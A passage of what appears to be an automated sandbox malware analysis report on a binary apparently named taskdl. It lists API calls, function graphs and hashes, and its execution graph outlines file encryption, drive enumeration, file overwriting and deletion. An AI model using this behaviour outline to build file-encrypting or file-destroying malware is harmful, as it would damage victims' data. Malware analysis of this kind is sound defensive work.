                                        • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000000), ref: 00401177
                                        • wcslen.MSVCRT ref: 00401182
                                        • ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(00000000,00000001), ref: 00401194
                                        • ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z.MSVCP60(00000000), ref: 004011B6
                                        • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 004011E7
                                        • FindNextFileW.KERNEL32(00000000,?), ref: 004011F6
                                        • FindClose.KERNEL32(00000000), ref: 00401205
                                        • DeleteFileW.KERNEL32(?), ref: 0040123A
                                        • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 00401258
                                        • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 00401282
                                        Memory Dump Source
                                        • Source File: 00000006.00000002.870312568.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000006.00000002.870278317.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                        • Associated: 00000006.00000002.870365911.0000000000402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                        • Associated: 00000006.00000002.870396802.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_6_2_400000_taskdl.jbxd
                                        Similarity
                                        • API ID: G@2@@std@@G@std@@U?$char_traits@V?$allocator@$Tidy@?$basic_string@wcslen$FileFind$swprintf$CloseDeleteDirectoryEos@?$basic_string@FirstGrow@?$basic_string@NextPathTempWindows
                                        • String ID:
                                        • API String ID: 2889739147-0
                                        • Opcode ID: d094fdb74faa2036a2288d1d3d1a61125983eed402f55e78df214a8260d1f803
                                        • Instruction ID: c02e7cbfb6260119d7520a8cc5a4b78e5b9d8733a8a6b2d1cbf059c3021fc26b
                                        • Opcode Fuzzy Hash: d094fdb74faa2036a2288d1d3d1a61125983eed402f55e78df214a8260d1f803
                                        • Instruction Fuzzy Hash: E551C3716043419FD720DF64C884B9BB7E9FBC8348F044A2EF589B32D1D6789945CB5A
                                        Function 004018F6 Relevance: 16.6, APIs: 11, Instructions: 111COMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000006.00000002.870312568.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000006.00000002.870278317.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                        • Associated: 00000006.00000002.870365911.0000000000402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                        • Associated: 00000006.00000002.870396802.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_6_2_400000_taskdl.jbxd
                                        Similarity
                                        • API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
                                        • String ID:
                                        • API String ID: 801014965-0
                                        • Opcode ID: 4015c31cfa7eab49e8c51e62fd741af3e0d2f81cb378811d4cbcafae977c22e0
                                        • Instruction ID: 68ab6ae738ded19f39d0610043d4fcd1ea5deb11ceedb7bb579f538117b6dbca
                                        • Opcode Fuzzy Hash: 4015c31cfa7eab49e8c51e62fd741af3e0d2f81cb378811d4cbcafae977c22e0
                                        • Instruction Fuzzy Hash: 42417EB5901344EFDB209FA4DA49A6ABFB8EB09715F20023FF581B72E1D6784940CF58
                                        Function 004012C0 Relevance: 4.5, APIs: 3, Instructions: 41sleepCOMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 58 4012c0-4012db GetLogicalDrives 59 4012e0-401303 58->59 60 401305-40130f GetDriveTypeW 59->60 61 40131e-401322 59->61 60->61 62 401311-40131c call 401080 Sleep 60->62 61->59 63 401324-40132d 61->63 62->61
                                        APIs
                                        • GetLogicalDrives.KERNELBASE ref: 004012C7
                                        • GetDriveTypeW.KERNELBASE(?,?,?,?,00000000,?,0000000A), ref: 0040130A
                                          • Part of subcall function 00401080: swprintf.MSVCRT(?,00403040,?,00403050,770D3300,00000000), ref: 004010F5
                                          • Part of subcall function 00401080: FindFirstFileW.KERNELBASE(?,?), ref: 00401107
                                        • Sleep.KERNELBASE(0000000A,00000000,?,0000000A), ref: 0040131C
                                        Memory Dump Source
                                        • Source File: 00000006.00000002.870312568.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000006.00000002.870278317.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                        • Associated: 00000006.00000002.870365911.0000000000402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                        • Associated: 00000006.00000002.870396802.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_6_2_400000_taskdl.jbxd
                                        Similarity
                                        • API ID: DriveDrivesFileFindFirstLogicalSleepTypeswprintf
                                        • String ID:
                                        • API String ID: 570308627-0
                                        • Opcode ID: fac8c12e3c7440fa081a6b1de2581f42964eb1eb3cef597a2f435b430f1423df
                                        • Instruction ID: 4c7b1852939095ad3804a53ba97627e403d947e7219eb0394d6b0875d80bfcc1
                                        • Opcode Fuzzy Hash: fac8c12e3c7440fa081a6b1de2581f42964eb1eb3cef597a2f435b430f1423df
                                        • Instruction Fuzzy Hash: D9F0C8756043044BD310DF18ED4065B77A5EB99354F00053EED45B3390D776990DC6AA

                                        Non-executed Functions

                                        Function 00401690 Relevance: 10.6, APIs: 7, Instructions: 139COMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        APIs
                                        • ?_Xran@std@@YAXXZ.MSVCP60(?,?,?,?,?,?,00401AD1,000000FF,00401609,?,?,76A65320,00000000,00000000,?,?), ref: 004016EE
                                        • ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60(?,?,?,?,?,?,00401AD1,000000FF,00401609,?,?,76A65320,00000000,00000000,?,?), ref: 004016F6
                                        • ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000000), ref: 0040172D
                                        • ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z.MSVCP60(?), ref: 0040173A
                                        • ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60 ref: 00401742
                                        • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001,?,?,?,?,?,?,00401AD1,000000FF,00401609,?,?,76A65320,00000000,00000000,?), ref: 00401779
                                        • ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000001,?,?,?,?,?,?,00401AD1,000000FF,00401609,?,?,76A65320,00000000,00000000), ref: 004017BA
                                        Memory Dump Source
                                        • Source File: 00000006.00000002.870312568.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000006.00000002.870278317.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                        • Associated: 00000006.00000002.870365911.0000000000402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                        • Associated: 00000006.00000002.870396802.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_6_2_400000_taskdl.jbxd
                                        Similarity
                                        • API ID: G@2@@std@@G@std@@U?$char_traits@V?$allocator@$Grow@?$basic_string@Split@?$basic_string@$Eos@?$basic_string@Tidy@?$basic_string@Xran@std@@
                                        • String ID:
                                        • API String ID: 2613176527-0
                                        • Opcode ID: d8cc844e41db627e1c4436b7b7a073ec45db5ac64ec8fc819127fe6e53c62420
                                        • Instruction ID: b735bfb2d4c14645f341b606901ad4f9af47e45cc28c7d2ea722b83d512bfbf9
                                        • Opcode Fuzzy Hash: d8cc844e41db627e1c4436b7b7a073ec45db5ac64ec8fc819127fe6e53c62420
                                        • Instruction Fuzzy Hash: 81410275300B008FC720DF19DAC4A6AB7E6FB89710B14897EE5569B7A0CB79AC01CB48
                                        Function 00401000 Relevance: 9.0, APIs: 6, Instructions: 44COMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 96 401000-401020 GetWindowsDirectoryW 97 401022-40103c GetTempPathW wcslen 96->97 98 40105e-401070 swprintf 96->98 99 401073-401077 97->99 100 40103e-40104a wcslen 97->100 98->99 100->99 101 40104c-40105d wcslen 100->101
                                        APIs
                                        • GetWindowsDirectoryW.KERNEL32(00000019,00000104,770D0F00,00000019,004010D5,?,?,770D0F00,00000019,770D3300,00000000), ref: 0040100C
                                        • GetTempPathW.KERNEL32(00000104,00000019), ref: 00401028
                                        • wcslen.MSVCRT ref: 00401035
                                        • wcslen.MSVCRT ref: 0040103F
                                        • wcslen.MSVCRT ref: 0040104D
                                        • swprintf.MSVCRT(00000019,00403010,?,00403020), ref: 0040106A
                                        Memory Dump Source
                                        • Source File: 00000006.00000002.870312568.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000006.00000002.870278317.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                        • Associated: 00000006.00000002.870365911.0000000000402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                        • Associated: 00000006.00000002.870396802.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_6_2_400000_taskdl.jbxd
                                        Similarity
                                        • API ID: wcslen$DirectoryPathTempWindowsswprintf
                                        • String ID:
                                        • API String ID: 30654359-0
                                        • Opcode ID: 4e66369f8c42ca16cc11ceda3156b996b8b268552c228e5f165bda1afb4dc665
                                        • Instruction ID: 00ede0775e497762771a1e7050bb3ecf99d0a0070f097ddb1d391ed7ba2ca3cf
                                        • Opcode Fuzzy Hash: 4e66369f8c42ca16cc11ceda3156b996b8b268552c228e5f165bda1afb4dc665
                                        • Instruction Fuzzy Hash: ADF0C87170122067E7206B2CBD0AE9F77A8EF85315B01403AF786B62D0D2B55A5586EE
                                        Function 004013D0 Relevance: 7.8, APIs: 5, Instructions: 264COMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 102 4013d0-4013ec 103 4013f2-4013f7 102->103 104 40152b-401538 102->104 107 401404 103->107 108 4013f9-401402 103->108 105 4015e7-4015e9 104->105 106 40153e-40154e 104->106 109 401682-401689 105->109 110 4015ef-401600 105->110 111 401550 106->111 112 40157c-40158c 106->112 113 401406-401408 107->113 108->107 108->113 114 401602-401614 call 401690 110->114 115 40161e-401627 110->115 116 401554-401572 call 401690 111->116 119 4015a6-4015ad 112->119 120 40158e-40159c call 401690 112->120 117 40140a-40140c 113->117 118 40140e-401410 113->118 140 401616-40161a 114->140 125 401629-401645 ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II@Z 115->125 126 40164f-401656 115->126 141 401574-401578 116->141 127 401413-40141b 117->127 118->127 121 4015b3-4015cb ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II@Z 119->121 122 40167f 119->122 137 40159e-4015a2 120->137 121->121 129 4015cd-4015e4 121->129 122->109 125->125 132 401647-40164b 125->132 126->122 133 401658 126->133 134 40141d 127->134 135 40141f-40143e ??2@YAPAXI@Z 127->135 132->126 142 40165c-401675 ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II@Z 133->142 134->135 138 401440-401456 call 401690 135->138 139 401458-40145c 135->139 137->119 138->139 145 40147e-40148f 139->145 146 40145e 139->146 140->115 141->112 142->142 143 401677-40167b 142->143 143->122 149 401491 145->149 150 4014b5-4014bd 145->150 148 401462-40147c call 401690 146->148 148->145 152 401495-4014b3 call 401690 149->152 153 4014d0-4014f1 call 4018d0 150->153 154 4014bf-4014ce ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z 150->154 152->150 160 4014f3-401509 153->160 161 40150c-401528 153->161 154->153 154->154
                                        APIs
                                        • ??2@YAPAXI@Z.MSVCRT ref: 00401423
                                        • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001,?,?,00000001,?), ref: 004014C3
                                        • ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II@Z.MSVCP60(?,00000000,?,76A65320,00000000,00000000,?,?,00000001,?), ref: 004015C0
                                        • ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II@Z.MSVCP60(?,00000000,?,76A65320,00000000,00000000,?,?,00000001,?), ref: 0040163D
                                        • ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II@Z.MSVCP60(?,00000000,?,76A65320,00000000,00000000,?,?,00000001,?), ref: 0040166A
                                          • Part of subcall function 00401690: ?_Xran@std@@YAXXZ.MSVCP60(?,?,?,?,?,?,00401AD1,000000FF,00401609,?,?,76A65320,00000000,00000000,?,?), ref: 004016EE
                                          • Part of subcall function 00401690: ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60(?,?,?,?,?,?,00401AD1,000000FF,00401609,?,?,76A65320,00000000,00000000,?,?), ref: 004016F6
                                          • Part of subcall function 00401690: ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000000), ref: 0040172D
                                          • Part of subcall function 00401690: ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z.MSVCP60(?), ref: 0040173A
                                          • Part of subcall function 00401690: ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60 ref: 00401742
                                        Memory Dump Source
                                        • Source File: 00000006.00000002.870312568.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000006.00000002.870278317.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                        • Associated: 00000006.00000002.870365911.0000000000402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                        • Associated: 00000006.00000002.870396802.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_6_2_400000_taskdl.jbxd
                                        Similarity
                                        • API ID: G@2@@std@@G@std@@U?$char_traits@V?$allocator@$V12@$?assign@?$basic_string@$Split@?$basic_string@$??2@Eos@?$basic_string@Grow@?$basic_string@Tidy@?$basic_string@Xran@std@@
                                        • String ID:
                                        • API String ID: 3154500504-0
                                        • Opcode ID: 6636b44b641b77d4c97a97785cbcd8c41d41e59366c3e557b6000251a80c17ff
                                        • Instruction ID: 1a94831c173c9211e28d46cdbba668eac71917d736910117d3345b582314b656
                                        • Opcode Fuzzy Hash: 6636b44b641b77d4c97a97785cbcd8c41d41e59366c3e557b6000251a80c17ff
                                        • Instruction Fuzzy Hash: FA81B472A003109BD710DE18CC8492AB7E5FBC8358F094A3EED49BB391D636EE05CB95

                                        Execution Graph

                                        Execution Coverage:9%
                                        Dynamic/Decrypted Code Coverage:0%
                                        Signature Coverage:19.4%
                                        Total number of Nodes:1580
                                        Total number of Limit Nodes:17
                                        execution_graph 5443 408c40 5444 408d5c 5443->5444 5446 408c97 5443->5446 5445 408c9d _ftol _ftol 5445->5446 5446->5444 5446->5445 5906 401140 #4710 SendMessageA SendMessageA #537 5911 401970 #3092 #6199 #800 5906->5911 5908 401199 SetTimer 5909 4011c3 CreateThread 5908->5909 5910 4011dd 5908->5910 5909->5910 5912 4012d0 5909->5912 5911->5908 5915 4012e0 sprintf sprintf GetFileAttributesA 5912->5915 5916 4013b0 fopen 5915->5916 5917 401350 5915->5917 5919 4012d9 5916->5919 5920 4013ef fread fclose sprintf fopen 5916->5920 5937 404640 InitializeCriticalSection 5917->5937 5920->5919 5922 401471 fread fclose sprintf fopen 5920->5922 5921 401359 5938 4047c0 5921->5938 5922->5919 5923 4014f2 fread fclose 5922->5923 5955 40be90 strncpy strncpy strncpy 5923->5955 5926 401377 5928 401395 DeleteFileA 5926->5928 5929 40137b 5926->5929 5927 401525 5956 40c240 5927->5956 5954 404690 DeleteCriticalSection 5928->5954 5999 404690 DeleteCriticalSection 5929->5999 5933 401575 5933->5919 5998 404640 InitializeCriticalSection 5933->5998 5935 40158c 5936 4047c0 16 API calls 5935->5936 5936->5929 5937->5921 5939 4046b0 CryptAcquireContextA 5938->5939 5941 40484e 5939->5941 5940 4048f3 5940->5926 5941->5940 5942 4049b0 7 API calls 5941->5942 5943 40486e 5942->5943 5944 4048e5 _local_unwind2 5943->5944 5946 4049b0 7 API calls 5943->5946 5944->5940 5947 40488a 5946->5947 5947->5944 5948 404895 CryptEncrypt 5947->5948 5948->5944 5949 404908 CryptDecrypt 5948->5949 5949->5944 5950 404932 strncmp 5949->5950 5951 404984 5950->5951 5952 40495e _local_unwind2 5950->5952 6000 4049a6 5951->6000 5952->5926 5954->5916 5955->5927 5957 40c25f 5956->5957 5958 40bed0 110 API calls 5957->5958 5959 40c29b 5958->5959 5960 40c2a2 5959->5960 5961 40c2c8 5959->5961 5962 40c2bc 5960->5962 5963 40c2ad SendMessageA 5960->5963 5964 40c2e5 5961->5964 5965 40c2d9 SendMessageA 5961->5965 5967 40dbf0 free 5962->5967 5963->5962 5966 40dc00 4 API calls 5964->5966 5965->5964 5968 40c2f8 5966->5968 5993 40c3d8 5967->5993 5969 40dc00 4 API calls 5968->5969 5970 40c313 5969->5970 5971 40dd00 4 API calls 5970->5971 5972 40c324 5971->5972 5973 40dd00 4 API calls 5972->5973 5974 40c335 5973->5974 5975 40dc00 4 API calls 5974->5975 5976 40c350 5975->5976 5977 40dc00 4 API calls 5976->5977 5978 40c36b 5977->5978 5979 40dc00 4 API calls 5978->5979 5980 40c37d 5979->5980 5981 40c3e0 5980->5981 5982 40c3a9 5980->5982 5983 40c3f0 5981->5983 5984 40c3e4 SendMessageA 5981->5984 5985 40c3b9 5982->5985 5986 40c3ad SendMessageA 5982->5986 5987 40c419 5983->5987 5988 40c44d 5983->5988 5984->5983 5989 40dbf0 free 5985->5989 5986->5985 5990 40c429 5987->5990 5991 40c41d SendMessageA 5987->5991 5992 40c49c 5988->5992 5995 40c45e fopen 5988->5995 5989->5993 5997 40dbf0 free 5990->5997 5991->5990 5992->5962 5994 40c4a0 SendMessageA 5992->5994 5993->5933 5994->5962 5995->5992 5996 40c479 fwrite fclose 5995->5996 5996->5992 5997->5993 5998->5935 5999->5919 6001 404770 3 API calls 6000->6001 6002 4049ad 6001->6002 6002->5940 6126 409a40 6130 409d40 6126->6130 6129 409ae7 #2414 #2414 6131 409a87 OffsetRect CreateRectRgn #1641 #5781 6130->6131 6131->6129 6357 409f40 PtVisible 6358 40cf40 6366 40d300 6358->6366 6360 40cf61 6361 40d300 6 API calls 6360->6361 6362 40cf66 6360->6362 6363 40cf87 6361->6363 6364 40d300 6 API calls 6363->6364 6365 40cf8c 6363->6365 6364->6365 6367 40d31f 6366->6367 6368 40d32e 6366->6368 6367->6360 6369 40d339 6368->6369 6370 40d373 time 6368->6370 6372 40d363 6368->6372 6373 40d378 6368->6373 6369->6360 6374 40d493 6370->6374 6375 40d41e 6370->6375 6388 40d2b0 6372->6388 6377 40d3b0 6373->6377 6378 40d380 6373->6378 6379 40d4b1 6374->6379 6384 40d4a8 free 6374->6384 6375->6374 6386 40d487 time 6375->6386 6387 40d469 Sleep 6375->6387 6392 412a90 malloc 6377->6392 6380 40d2b0 memmove 6378->6380 6379->6360 6380->6370 6382 40d3b6 6383 40d3c1 6382->6383 6385 40d2b0 memmove 6382->6385 6383->6360 6384->6379 6385->6370 6386->6374 6386->6375 6387->6375 6389 40d2f5 6388->6389 6390 40d2be 6388->6390 6389->6370 6391 40d2c3 memmove 6390->6391 6391->6389 6391->6391 6392->6382 6135 407650 6136 40765e 6135->6136 6139 407670 6135->6139 6137 4076a0 20 API calls 6136->6137 6140 407665 #2379 6137->6140 6138 407690 #2379 6139->6138 6141 40b620 9 API calls 6139->6141 6142 40768d 6141->6142 6142->6138 5447 404050 #616 5448 404068 5447->5448 5449 40405f #825 5447->5449 5449->5448 6003 404150 6008 404170 #2414 #800 #800 #795 6003->6008 6005 404158 6006 404168 6005->6006 6007 40415f #825 6005->6007 6007->6006 6008->6005 6132 403250 6133 403261 #825 6132->6133 6134 40326a 6132->6134 6133->6134 6143 413254 _exit 6009 413556 ??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE 5284 405a60 5331 40b620 FindWindowW 5284->5331 5288 405aab #2514 5354 403f20 #2414 5288->5354 5290 405ae9 5355 403f20 #2414 5290->5355 5292 405b04 5356 403f20 #2414 5292->5356 5294 405b1f 5357 403f20 #2414 5294->5357 5296 405b3f 5358 403f20 #2414 5296->5358 5298 405b5a 5359 403f20 #2414 5298->5359 5300 405b75 5360 403f20 #2414 5300->5360 5302 405b90 5361 403f20 #2414 5302->5361 5304 405bab 5362 403f20 #2414 5304->5362 5306 405bc6 5363 403f20 #2414 5306->5363 5308 405be1 5364 403f20 #2414 5308->5364 5310 405bfc 5365 403f90 #2414 5310->5365 5312 405c10 5366 403f90 #2414 5312->5366 5314 405c24 #800 #800 #800 #800 #781 5367 4050a0 #800 #795 5314->5367 5316 405c9c 5368 4050a0 #800 #795 5316->5368 5318 405cb0 5369 404170 #2414 #800 #800 #795 5318->5369 5320 405cc4 5370 404170 #2414 #800 #800 #795 5320->5370 5322 405cd8 5371 404170 #2414 #800 #800 #795 5322->5371 5324 405cec 5372 404170 #2414 #800 #800 #795 5324->5372 5326 405d00 5373 405d90 #654 #765 5326->5373 5328 405d14 5374 405d90 #654 #765 5328->5374 5330 405d28 #609 #609 #616 #641 5332 40b634 7 API calls 5331->5332 5333 405a8a #1134 #2621 #6438 5331->5333 5332->5333 5334 40b687 ExitProcess 5332->5334 5335 4060e0 #324 #567 #567 #567 5333->5335 5375 4085c0 7 API calls 5335->5375 5337 406162 5338 4085c0 9 API calls 5337->5338 5339 406172 5338->5339 5379 404090 7 API calls 5339->5379 5341 406182 5380 404090 7 API calls 5341->5380 5343 406192 5381 404090 7 API calls 5343->5381 5345 4061a2 5382 404090 7 API calls 5345->5382 5347 4061b2 5383 405000 #567 #540 5347->5383 5349 4061c2 5350 405000 2 API calls 5349->5350 5351 4061d2 #567 #540 #540 #540 #540 5350->5351 5385 407640 5351->5385 5353 4062cb 7 API calls 5353->5288 5354->5290 5355->5292 5356->5294 5357->5296 5358->5298 5359->5300 5360->5302 5361->5304 5362->5306 5363->5308 5364->5310 5365->5312 5366->5314 5367->5316 5368->5318 5369->5320 5370->5322 5371->5324 5372->5326 5373->5328 5374->5330 5376 408660 #6140 5375->5376 5377 408654 5375->5377 5376->5337 5377->5376 5378 40865a GetSysColor 5377->5378 5378->5376 5379->5341 5380->5343 5381->5345 5382->5347 5384 40504a 5383->5384 5384->5349 5385->5353 5450 403860 SendMessageA 5451 403892 SendMessageA 5450->5451 5452 403883 #1200 5450->5452 5453 4038d1 5451->5453 5454 4038a5 SendMessageA CreateThread 5451->5454 5454->5453 5455 4038e0 5454->5455 5458 4038f0 5455->5458 5457 4038e9 5477 403eb0 6 API calls 5458->5477 5460 403916 SendMessageA 5461 4039e1 5460->5461 5462 403937 SendMessageA 5460->5462 5524 403eb0 6 API calls 5461->5524 5463 403951 5462->5463 5464 403958 5462->5464 5478 403af0 fopen 5463->5478 5495 401e90 5464->5495 5467 4039ea CloseHandle 5467->5457 5469 403961 sprintf 5500 402020 5469->5500 5471 403998 5476 40399c 5471->5476 5509 403a20 5471->5509 5472 4039cd 5517 401f30 5472->5517 5475 4039c8 #1200 5475->5472 5476->5472 5476->5475 5477->5460 5479 403b41 5478->5479 5480 403b28 5478->5480 5481 401e90 InitializeCriticalSection 5479->5481 5480->5464 5482 403b4d 5481->5482 5483 402020 14 API calls 5482->5483 5484 403b67 5483->5484 5485 403b6b 5484->5485 5493 403b9b 5484->5493 5486 401f30 6 API calls 5485->5486 5488 403b82 5486->5488 5487 403c61 fclose 5489 401f30 6 API calls 5487->5489 5488->5464 5491 403c8f 5489->5491 5490 403bb2 fgets 5492 403c5f 5490->5492 5490->5493 5491->5464 5492->5487 5493->5487 5493->5490 5493->5492 5525 402650 MultiByteToWideChar 5493->5525 5617 404640 InitializeCriticalSection 5495->5617 5497 401eb6 5618 404640 InitializeCriticalSection 5497->5618 5499 401ec4 5499->5469 5619 4046f0 5500->5619 5502 402031 5503 402035 5502->5503 5504 402048 GlobalAlloc 5502->5504 5505 4046f0 12 API calls 5502->5505 5503->5471 5506 402061 5504->5506 5507 402066 GlobalAlloc 5504->5507 5505->5504 5506->5471 5508 402079 5507->5508 5508->5471 5510 403a32 GetLogicalDrives 5509->5510 5511 403adc 5509->5511 5515 403a48 5510->5515 5511->5476 5512 403a53 GetDriveTypeW 5513 403a81 GetDiskFreeSpaceExW 5512->5513 5512->5515 5513->5515 5514 403ace 5514->5476 5515->5512 5515->5514 5657 4026b0 5515->5657 5747 401fa0 5517->5747 5519 401f60 5756 404690 DeleteCriticalSection 5519->5756 5521 401f7a 5757 404690 DeleteCriticalSection 5521->5757 5523 401f8a 5523->5461 5524->5467 5528 402560 wcscpy wcsrchr 5525->5528 5527 40269a 5527->5493 5529 4025c9 wcscat 5528->5529 5530 402599 _wcsicmp 5528->5530 5531 4025bd 5529->5531 5530->5531 5532 4025ae _wcsicmp 5530->5532 5541 4020a0 CreateFileW 5531->5541 5532->5529 5532->5531 5534 4025eb 5535 402629 DeleteFileW 5534->5535 5536 4025ef DeleteFileW 5534->5536 5537 402634 5535->5537 5536->5537 5538 4025fa 5536->5538 5537->5527 5539 402617 5538->5539 5540 4025fe MoveFileW 5538->5540 5539->5527 5540->5527 5542 402143 GetFileTime ReadFile 5541->5542 5560 402139 _local_unwind2 5541->5560 5544 40217c 5542->5544 5542->5560 5545 402196 ReadFile 5544->5545 5544->5560 5546 4021b3 5545->5546 5545->5560 5547 4021c3 ReadFile 5546->5547 5546->5560 5548 4021ea ReadFile 5547->5548 5547->5560 5549 402208 ReadFile 5548->5549 5548->5560 5550 402226 5549->5550 5549->5560 5551 402233 CloseHandle CreateFileW 5550->5551 5552 4022f9 CreateFileW 5550->5552 5554 402264 SetFilePointer ReadFile 5551->5554 5551->5560 5553 40232c 5552->5553 5552->5560 5574 404af0 5553->5574 5556 402297 5554->5556 5554->5560 5558 4022a4 SetFilePointer WriteFile 5556->5558 5556->5560 5557 40234d 5559 402372 5557->5559 5563 404af0 4 API calls 5557->5563 5558->5560 5561 4022ce 5558->5561 5559->5560 5579 40a150 5559->5579 5560->5534 5561->5560 5562 4022db SetFilePointer SetEndOfFile 5561->5562 5565 402497 SetFileTime 5562->5565 5563->5559 5566 4024e0 _local_unwind2 5565->5566 5567 4024bc CloseHandle MoveFileW 5565->5567 5566->5534 5567->5566 5569 402477 SetFilePointerEx SetEndOfFile 5569->5565 5570 4023e0 ReadFile 5570->5560 5571 4023a7 5570->5571 5571->5560 5571->5569 5571->5570 5586 40b3c0 5571->5586 5575 404b04 EnterCriticalSection CryptDecrypt 5574->5575 5576 404afc 5574->5576 5577 404b3b LeaveCriticalSection 5575->5577 5578 404b2d LeaveCriticalSection 5575->5578 5576->5557 5577->5557 5578->5557 5580 40a184 5579->5580 5581 40a15e ??0exception@@QAE@ABQBD _CxxThrowException 5579->5581 5582 40a197 ??0exception@@QAE@ABQBD _CxxThrowException 5580->5582 5583 40a1bd 5580->5583 5581->5580 5582->5583 5584 40a1d0 ??0exception@@QAE@ABQBD _CxxThrowException 5583->5584 5585 40a1f6 5583->5585 5584->5585 5585->5571 5587 40b3d0 ??0exception@@QAE@ABQBD _CxxThrowException 5586->5587 5588 40b3ee 5586->5588 5587->5588 5589 40b602 ??0exception@@QAE@ABQBD _CxxThrowException 5588->5589 5597 40b410 5588->5597 5590 40b5ba 5592 40b0c0 4 API calls 5590->5592 5598 402424 WriteFile 5590->5598 5592->5590 5594 40b4cf ??0exception@@QAE@ABQBD _CxxThrowException 5596 40b4ed 5594->5596 5595 40b59c ??0exception@@QAE@ABQBD _CxxThrowException 5595->5590 5596->5590 5596->5595 5596->5598 5605 40adc0 5596->5605 5597->5594 5597->5596 5597->5597 5597->5598 5599 40b0c0 5597->5599 5598->5560 5598->5571 5600 40b0d0 ??0exception@@QAE@ABQBD _CxxThrowException 5599->5600 5601 40b0ee 5599->5601 5600->5601 5604 40b114 5601->5604 5611 40a9d0 5601->5611 5604->5597 5606 40add0 ??0exception@@QAE@ABQBD _CxxThrowException 5605->5606 5607 40adee 5605->5607 5606->5607 5608 40ae14 5607->5608 5614 40a610 5607->5614 5608->5596 5612 40a9e1 